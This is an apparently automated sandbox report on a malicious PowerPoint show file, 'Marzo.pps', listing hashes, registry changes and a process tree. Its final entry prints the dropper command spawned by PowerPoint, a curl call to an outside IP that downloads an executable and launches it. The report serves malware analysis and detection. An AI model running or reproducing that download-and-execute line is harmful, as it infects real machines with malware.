Analysis
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max time kernel
29s -
max time network
34s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system -
submitted
17-03-2023 14:25
Behavioral task
behavioral1
Sample
Marzo.pps
Resource
win7-20230220-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
Marzo.pps
Resource
win10v2004-20230220-en
12 signatures
150 seconds
General
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Target
Marzo.pps
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Size
54KB
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MD5
a7b9fa984e5fc897da9871f5efea2aad
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SHA1
a1e4a02b1fb617ede5dba236642eedd7eb24df93
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SHA256
ca6cca63731e86074f4b715fd5ff280771c7478aa9e336267e8cc95cdf4905fe
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SHA512
10e1eaf4f11771e977ce7ffcaf2fb2a8bc8a260b47422561ffe782f71a6937def6c97dc949b58532513bba4e2cbf70685710eba34b442a002191f0c2dee8c5bd
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SSDEEP
384:XvA6kFP4VCa8KJKrhr09JrDucC9Q8UfTb:6FP4VCaJJMxIgcCVU
Score
10/10
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 672 1256 cmd.exe POWERPNT.EXE -
Processes:
POWERPNT.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1283023626-844874658-3193756055-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE -
Modifies registry class 64 IoCs
Processes:
POWERPNT.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C0-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A51-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6D-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "LeaderLines" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A67-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E559-4FF5-48F4-8215-5505F990966F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493490-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5D-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "ChartGroup" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A64-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ = "PrintRanges" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D7-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A54-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F5-5A91-11CF-8700-00AA0060263B}\ = "TableStyle" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Trendline" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493451-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349B-5A91-11CF-8700-00AA0060263B}\ = "TextStyleLevel" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345F-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493483-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F0-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5E-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6B-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E552-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349C-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5A-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ = "MediaBookmarks" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493458-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E2-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E3-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EE-5A91-11CF-8700-00AA0060263B}\ = "Options" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493476-5A91-11CF-8700-00AA0060263B}\ = "Placeholders" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149349A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DC-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E558-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F2-5A91-11CF-8700-00AA0060263B} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F9-5A91-11CF-8700-00AA0060263B}\TypeLib POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A55-F07E-4CA4-AF6F-BEF486AA4E6F} POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A59-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CA-5A91-11CF-8700-00AA0060263B}\ = "Borders" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E555-4FF5-48F4-8215-5505F990966F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346C-5A91-11CF-8700-00AA0060263B}\ = "_Master" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493470-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493496-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A66-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493457-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\ = "Comment" POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DE-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32 POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DB-5A91-11CF-8700-00AA0060263B}\ = "Diagram" POWERPNT.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A5F-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}" POWERPNT.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 1256 POWERPNT.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
POWERPNT.EXEpid process 1256 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
POWERPNT.EXEdescription pid process target process PID 1256 wrote to memory of 1096 1256 POWERPNT.EXE splwow64.exe PID 1256 wrote to memory of 1096 1256 POWERPNT.EXE splwow64.exe PID 1256 wrote to memory of 1096 1256 POWERPNT.EXE splwow64.exe PID 1256 wrote to memory of 1096 1256 POWERPNT.EXE splwow64.exe PID 1256 wrote to memory of 672 1256 POWERPNT.EXE cmd.exe PID 1256 wrote to memory of 672 1256 POWERPNT.EXE cmd.exe PID 1256 wrote to memory of 672 1256 POWERPNT.EXE cmd.exe PID 1256 wrote to memory of 672 1256 POWERPNT.EXE cmd.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\Marzo.pps"1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
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C:\Windows\SysWOW64\cmd.execmd /c curl http://109.248.11.155/network.exe -o C:\Users\Admin\AppData\Roaming\update.exe & explorer C:\Users\Admin\AppData\Roaming\update.exe2⤵
- Process spawned unexpected child process